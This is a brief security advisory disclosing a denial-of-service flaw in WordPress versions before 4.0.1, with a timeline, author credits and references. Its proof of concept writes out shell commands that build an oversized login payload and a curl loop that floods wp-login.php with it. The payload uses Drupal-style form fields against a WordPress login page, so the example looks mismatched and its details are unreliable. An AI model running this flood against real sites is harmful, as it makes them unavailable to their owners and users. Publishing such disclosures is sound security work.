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DESCRIPTION:
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A vulnerability present in Wordpress < 4.0.1 allows an
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attacker to send specially crafted requests resulting in CPU and memory
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exhaustion. This may lead to the site becoming unavailable or
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unresponsive (denial of service).
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Time Line:
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November 20, 2014 - A Wordpress security update and the security
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advisory is published.
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Proof of Concept:
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Generate a pyaload and try with a valid user:
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echo -n "name=admin&pass=" > valid_user_payload && printf "%s"
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{1..1000000} >> valid_user_payload && echo -n "&op=Log
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in&form_id=user_login" >> valid_user_payload
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Perform a Dos with a valid user:
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for i in `seq 1 150`; do (curl --data @valid_user_payload
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http://yoursite/wordpress/wp-login.php --silent > /dev/null &); sleep
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0.25; done
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Authors:
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-- Javer Nieto -- http://www.behindthefirewalls.com
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-- Andres Rojas -- http://www.devconsole.info
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References:
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* https://wordpress.org/news/2014/11/wordpress-4-0-1/
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* https://www.drupal.org/SA-CORE-2014-006
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http://www.behindthefirewalls.com/2014/11/wordpress-denial-of-service-responsible-disclosure.html
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http://www.behindthefirewalls.com/2014/11/drupal-denial-of-service-responsible-disclosure.html
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* http://www.devconsole.info/?p=1050 |